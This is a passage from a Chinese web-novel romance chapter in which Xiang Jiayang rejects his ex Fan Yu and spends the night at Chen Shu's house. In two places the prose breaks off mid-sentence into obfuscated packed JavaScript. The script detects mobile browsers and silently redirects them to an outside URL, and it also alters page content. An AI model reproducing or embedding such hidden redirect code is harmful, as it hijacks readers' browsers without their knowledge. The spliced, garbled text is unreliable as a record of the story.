“不住民宿住哪里?酒店?”向嘉洋问,“还是你家?” “当然是我家!”樊煜眼底带光,期待地看着向嘉洋,“我马上让管家安排,把你所有的行李都收拾好送到我那去。” “谁同意了?”向嘉洋语气瞬间冷下来。 “可你身体情况本就不好,不搬来和我住我怎么能放心得下?万一哪天你又晕倒在路边了怎么办?我会疯掉。” “住在我那,你想几点回就几点回,想带朋友开派对也随时可以安排,你完全自由。我知道你不喜欢被束缚,所以不会给你任何限制。再说,我那块别墅区安全,不论怎么看条件都是很好的。” 向嘉洋越听越疲惫。 过去有很多这样的时刻,他和樊煜说话十分费劲,因为大多数时候是向嘉洋收敛天性,顺从或包容樊煜。 他无法说樊煜这样安排有错,只是他们观念不合。 “我住在民宿很好,不说这个。”向嘉洋强硬打断,“吃好了我们走吧,下午我还要工作。” 樊煜脸色有些难看,他总觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不全是。”向嘉洋道,“这的确是最关键的原则性问题,你犯过一次我永不原谅。但更多的其实还是琐碎,比如相较于你介绍获得某个新收藏你一共花了多少钱,我更喜欢听你告诉我这件收藏背后的历史故事或人文底蕴。比如我和你讲过joe有些恐高,可是你还是带我去了空中餐厅。比如挪威语很美,然而你宁愿升起车窗摒弃我和世界的交互,也不愿意陪我一起下去晒晒太阳,和世界各地的人交谈,欢笑。” “我们在一起时遇到的问题远比我拎出的要多,多得多。”向嘉洋笑了,真心实意的,“所以我们不合适,小樊总,今天你自己也感受到了。” 樊煜眼眶一下红了。 他一个大男人其实信奉男儿有泪不轻弹,信奉万花丛中过何处都是家。更何况他一直觉得自己有钱有颜,想玩的话总有大把人愿意献给他玩。 可是看着向嘉洋露出这样的表情,听到向嘉洋说这样的话,樊煜心脏真真实实地被扎了一下,酸楚不已,疼痛不已。 他曾经认真地和向嘉洋谈过恋爱,但是他一时鬼迷心窍搞砸了。 “可是我喜欢你。”樊煜嗓音沙哑,“喜欢就能合适,不是吗?” “向嘉洋,我喜欢你。我这辈子只喜欢过你一个人。”樊煜道,“能不能再给我一次机会?” “我们就这样吧,樊煜。”向嘉洋说,“不要互相折磨。” “原则性问题上我一向从不让步。” “而且。”向嘉洋看着他,“我有喜欢的人了。” 樊煜表情瞬间一变,他愤愤:“你果然谈朋友了?你在风铃岛找新欢了是不是?” “那个男的是谁?!” 樊煜以为自己即使刨根问底向嘉洋都不会回答,可是向嘉洋很从容地说:“你哥。” 什么?!?! 樊煜顿觉五雷轰顶,外焦里嫩。 一口气差点没提上来。 怪不得。 怪不得他表哥会送向嘉洋回家。 怪不得向嘉洋非要去钛谷应聘。 他花了半分钟时间来接受这个信息量。而后他满脸愤怒,气得双目冒火:“你就不怕我告诉陈述?!” “你告诉他吧。”向嘉洋淡淡看着樊煜,反问,“你就不怕我直接跟他摊牌?” 樊煜两眼一黑,差点气晕。 他不由得开始想象,如果向嘉洋真的开诚布公,会有什么结果。 事实上无非两种。 一种,陈述心动,向嘉洋成了他嫂子。 另一只,陈述没心动,但是向嘉洋穷追不舍,最终陈述被拿下,向嘉洋成了他嫂子。 樊煜还不至于卑劣到认为向嘉洋看上陈述是想攀上更好的高枝。他要是真愿意攀,樊煜巴不得。 正是因为向嘉洋根本不在意钱和权,樊煜才束手无措。 也正是因为向嘉洋太好了,樊煜才这么舍不得拱手相让。 “...”于是樊煜立刻拉住了向嘉洋,脑回路峰会十八弯,煞有介事,“我死也不会告诉我哥你看上了他的。向嘉洋,从现在开始我正式宣布,我要重新追求你。” “之前诸多都是我错,我对不起你,我罪该万死。你嫌我脏不要我了,我不怪你。” “从小到大跟我哥比我就没赢过,这次我肯定赢。我赌你心里绝对还有我,你不可能忘掉我。” “你喜欢我哥肯定是因为他和我长得有点像!” 向嘉洋听到最后一句,眼皮狠狠抽搐了下。 樊煜在这种时候总是自信得令人咂舌。 ———— —— 18. 擦枪走火 * 向嘉洋以为自己已经说得够清楚了。 没想到樊煜脑子不清楚。 如果不是脑子进水了能想出来这种前因后果么? 向嘉洋甩开他的手。 “你和陈老板长得完全不像,请不要拿他和你作比较。还有,以后别来找我了。”他耐心全无,直接转身就走。 他跟樊煜说完到此为止后,樊煜就消失了两天,去酒吧买醉。 说不伤心不生气肯定是假的,只是樊煜要面子,不想在向嘉洋面前暴露出来。而且他就算再来气也没地方撒,他能上门找陈述理论么? 他能个几把。 他见到陈述就想起自己被吊打的经历。 陈家家风严谨,陈述从不乱搞。樊煜是做错事的孩子,见到长辈有主场弱势。更何况他心理阴影至今难忘,陈述经常跟部队的那群人切磋,下手快准狠,能让樊煜半个月下不了床。 有气没地撒,那只能借酒消愁。 从下午喝到晚上九点多,樊煜早就醉得不省人事,他非要特助联系向嘉洋。助理没办法,联系了三个朋友,才终于打通向嘉洋的电话。 “你好,向先生,我是樊总的特助。樊总喝醉了,在市中心的酒吧,你方便过来接一下他吗?”助理问。 电话那边,向嘉洋安静了几秒,道:“不好意思,我不方便。” 助理看在高薪的面子上,尽职尽责地微笑道:“还是请您过来一趟吧,樊总不愿意跟我们走,说只愿意见你。” 向嘉洋说:“可我是真的不太方便。” 他正在陈老板家里。 原本计划是要在钛谷店拍摄,然而这两天的客人都不太接受纹身过程的录制,向嘉洋只能作罢。看他差点完不成kpi,陈述问他需不需要去别的地方拍。 向嘉洋提出去陈述家。 据说陈老板家二楼有单独的画室,他周末没事的时候就会泡在里面,画室内也有很多作品,还有许多年前陈述刚入门时的新手作。 那样的画作或许会带着稚气。但初入门槛时,稚气里也必定带着灵气。 向嘉洋对二楼画室很感兴趣。 幸运的是,陈述答应得爽快。 向嘉洋已经不是第一次来陈述家,这次他轻车熟路。 路过客厅,雷达吐着舌头朝他冲来,向嘉洋熟练地蹲下接住雷达,揉着它脑袋。 “想我没有?”向嘉洋问。 雷达叫了两声,向嘉洋扭头,“陈老板,雷达说什么?” “说想了。”陈述看过来,配合道。 向嘉洋偷笑。 他们去了二楼。画室就在转角处,很大,竟然有一百平左右。入目所及全是盖上了布的画架,向嘉洋没有随便动,只是跟在陈述身后。 他拿着相机,让陈述坐在落地窗前的椅子上。 电脑放着作品集和图库,里面全是陈述手稿,有的是纹身的,有的是定制的钉子,穿孔用。还有部分学徒的作品也收录其中。 “陈老板,你为什么决定开钛谷店?”向嘉洋问。 “没有为什么。”陈述说,“喜欢,就做了。” 向嘉洋心一动,朝他笑。 多简单,喜欢就做。可是这也很难,比如陈述到现在还扛着家里给他的压力。 “那你就这样坐着画画,我拍十秒左右的画面就可以,行吗?”向嘉洋询问。 “行。” 陈述向来干脆利落,他配合向嘉洋,向嘉洋叫他干什么他就干什么,摆拍,布景,转场,把脚本内容都搞定,陈述给向嘉洋倒了杯水,说:“辛苦。” “不辛苦,应该的,我要对得起陈老板你给我开的薪水。”向嘉洋笑。 陈述也问了他一个问题。 “为什么想打舌钉?” 向嘉洋愣了下。这个问题其实简凡问过,但陈述单独再问他,感觉还是不一样。 他装作很忙地摆弄相机,慢吞吞道:“也是因为喜欢。” “喜欢痛感?” “不是。” “觉得它好看?” “一半。”向嘉洋小声。 “另外一半呢?是因为喜欢什么?”陈述问。 “喜欢一个人。不是专门为了他打的,只是单纯想靠近看看他眼里的世界。”向嘉洋说。 “你说的这个人应该不是樊煜吧。”陈述眯眼。 ...原来陈老板旧题重问,是在这等着自己。 向嘉洋撇清关系:“当然不是。” 陈述点点头。他没有再继续问下去,像是怕触及向嘉洋隐私。 电话就是在这个时候响的。打来的是向嘉洋大学一位学长,其实向嘉洋和对方不熟悉,但既然对方打的是电话,或许会有什么要紧事,向嘉洋就先接了。 万万没想到,说话的人是樊煜特助。 陈述和向嘉洋站得近,即使没开免提,多少也听见了他们的对话。 “可我是真的不太方便。”向嘉洋告诉特助。 对面的人明显不会这么轻易揭过去,刚要继续说什么,一旁,安静着的陈述突然叩了叩桌面。向嘉洋朝他看去。 “电话给我。”陈述示意。 向嘉洋很听话地递给他。 陈述没有避开向嘉洋,直接放桌上,把扬声器打开。 “艾米丽。”陈述淡淡,“是我。” 他的嗓音总是从容不迫,带着点独特的冷调,很有质感,在耳边低缓时生动好听。 对面一顿。 特助艾米丽听出是谁在接电话了。 她嗓音都紧张了起来,僵硬地换了语调,尊敬、小心翼翼:“陈生?” “嗯。”陈述气场强大,不怒自威,淡漠道,“他喝了多少?” “很多,已经数不清。稍微还有些低烧。”艾米丽一一检查,不由自主换了粤语,“樊总现在可能不方便和您对话,抱歉打扰您休息了,陈生。” 陈述这次也用了向嘉洋不太熟悉的语言,但尽量说得慢了些。这是向嘉洋的手机,艾米丽一开始找的也是向嘉洋,瞒着手机主人讲他听不懂的内容,并不礼貌。 陈述道:“叫樊煜明天中午去看老爷子。你给他多带一条裤子,还有长外套。” 艾米丽不解:“为什么要带裤子和外套?” 陈述:“谁知道呢?” 向嘉洋不由得看向陈述。 大概是察觉到眼神,陈述不咸不淡地补充:“可能因为会出血。老爷子下手一向不知轻重。” 艾米丽:.... 艾米丽:“好,我明白了。” 特助女士挂断电话,一个字都没有再提到要向嘉洋去接樊煜。 而因为陈述说话慢,向嘉洋连蒙带猜,听懂大半。 “爷爷要揍樊煜?”向嘉洋瞪眼,“家法伺候吗?” “嗯。小孩别听这些,我送你回民宿。”陈述一脸云淡风轻。 电光火石间,向嘉洋脑子里冒出一个主意。 “陈老板。”向嘉洋站在岛台边,没跟上步伐。陈述于是回头看他,“怎么了?” “樊煜喝醉了,可能会找我。我有点怕。”向嘉洋说。 “他喝酒有些疯,一般喝高了我都会让他去住酒店,因为我不想照顾他。这次他来风铃岛,又知道我民宿地址,不知道情急之下会怎样,所以我有点不想回去。” 他诚恳地说完,见陈述听进去了,表情若有所思。 “你有什么想法?”陈述问。 “我...”向嘉洋拼死一搏地问,“今晚能先住在你家里吗?” “...” 陈述眉梢一抬。 joe:你疯了。 joe:喂向嘉洋,你疯了。你绝对是疯了。 joe:你这招数也太特么老套了!!喂!! joe:我看不下去了,你要社死就一个人死,不要害我一起死!! joe:你不仅好色你还特别有心机,向嘉洋我看错你了!! “那把主卧给你睡?”陈述问。 “啊?”向嘉洋懵了。 “刚刚那是什么表情?”陈述看他,“我这儿你想怎么住就怎么住,想住多久就住多久,怎么紧张成这样。” “上楼去挑房间吧。不想回民宿以后就住这,樊煜不敢来。凤姨那我帮你协商,大不了转租出去。”陈述说话总给人一种天塌下来有他顶着的安心和沉稳,“不是什么大事,不用纠结。” joe:? 向嘉洋:? 向嘉洋和joe双双沉默。 半晌。 joe:老东西果然是馋你的身体。 joe:这就和你同居上了。 joe:你长点心眼吧向嘉洋!! joe:别一不小心做上了!!!! “...”向嘉洋差点被噎死。 “陈老板不是那样的人。他只是比较心软。”向嘉洋嘀咕着,树懒似的慢吞吞上楼,“再说樊煜那么能闹腾,陈老板估计也不想局面太难看。” “民宿我会回去的,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177248|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能真的一直住在这里。”向嘉洋说,“就一个晚上。” joe:知道了。 joe:没事,樊煜要是再来找你,还有我。 joe:懂? 向嘉洋被逗笑。 “小屁孩。”他说。 joe:[白眼] 向嘉洋没敢真的挑房间,他就是找了个最角落的,看上去最小的,跟陈述说就这个。 推开门进去,空气里一股薰衣草香,房间干净整洁,但是没有被子和枕头。看得出来这里平时根本没人住,不过会有人定期打扫。 “我去给你拿新的。”陈述开了灯,“洗漱用品洗手间有。缺什么告诉我。” “谢谢陈老板。”向嘉洋很乖地站在墙边,和他鞠躬。 在自己家和在别人家到底不一样,向嘉洋都不敢多动一下。 陈述发现向嘉洋有些紧绷了。他去拿了被子和枕头过来时,还带来了雷达。 “用它陪你吗?”陈述问。 向嘉洋心情突然直线上扬。他发现陈老板总是很细心,一下就能捕捉到自己的情绪。 雷达的出现的确让向嘉洋放松不少,于是他蹲下抱着雷达,在满怀的安全感里皮了皮:“一个它好像还不够。” “那你还要什么?”陈述一边给他铺床一边问。 “陈老板,你陪不陪?”向嘉洋问,“钛谷没有这种服务,那这里能不能有一下?” 向嘉洋,一个把得寸进尺、恃宠而骄发挥到极致的人。 他站在陈述的私人领地里,无限地试探和逼近。 他自己都觉得有些过分了,居然敢这么调戏陈述。 而陈老板,一个宰相肚里能撑船的伟人。 他给向嘉洋铺好床后居然点点头:“服务可以有。但是事先说好,我唱歌不好听。” 向嘉洋:? “我没有叫你唱歌给我听。”向嘉洋一下没忍住,笑出声,抱着雷达双肩狂抖,“哄睡又不是只有唱歌才有用。” “吓我一跳。原来不是要我献丑,只是要我哄睡。”陈述神色淡然地经过向嘉洋,去了洗手间,把毛巾拿出来,又神色淡然地丢给向嘉洋,“擦擦汗。一会儿可以洗澡,有热水。” 向嘉洋谢过,带上房间里的浴室门,先洗澡,陈述在客厅里洗杯子。 事实证明,招数老套没关系。 对陈述管用就行。 向嘉洋隐约摸出一个门道。 他是可以在某些范围内,适当地向陈述提要求的。 陈老板总是会大大方方地满足他,甚至让向嘉洋那点小心思不攻自破。 当然,向嘉洋也就是面上厉害。他没真的叫陈述来哄睡。他主要担心会越哄越睡不着。三更半夜孤男寡男,容易擦枪走火。 陈述的家虽然冷清了一点,但是住着很舒服,向嘉洋意外地躺上床就困,手机静音后就闭上眼睡着了,只是半夜做了个梦,梦醒后他迷糊地坐起身,拉开门下楼,去客厅装水。 客厅漆黑,只有茶几边亮着小夜灯,穿堂风伴随着海水的咸湿拂面而过。小阳台外隐约可以看见海岸边的灯塔,橘黄的灯光与月光一起洒下,地面粼粼。 而小阳台边站着个男人。 向嘉洋还没睡醒,揉了揉眼睛才看清。 陈述似乎是刚从画室出来,手边还放着几根画笔,这么晚了他不知道在和谁打电话,声音断断续续,很轻,仍然说粤语,有些向嘉洋听不懂。 手机被他侧着头夹在肩膀处,听到脚步,陈述看过来,和向嘉洋对上视线。 而陈述上半身什么都没穿。 月光洒在他结实流畅的背脊上,肩宽腰窄的身材一览无余。利落劲道的肌肉线条一路向下,蜿蜒到腹部隐秘深处。 陈述单手在解皮扣,咔哒一声,扣子开了,向嘉洋刚好出现在沙发边。 向嘉洋魂都还没回到体内,所以不管好不好意思了,只顾着看。 不,应该说是欣赏。 “...怎么还没睡?”陈述保持着一只手拧住裤带的姿势,问。 “我做梦醒了。口渴,想喝水。”向嘉洋无辜道。 夜晚给他裹上一层保护色,看起来更像涉世未深的少年。 陈述顿了顿,“好,我给你倒。” “但你先转过身去半分钟。” 向嘉洋问他为什么。 陈述:“我裤子快掉了。” 一句话,向嘉洋彻底睡醒,耳朵蹭地发红发烫。 ———— ——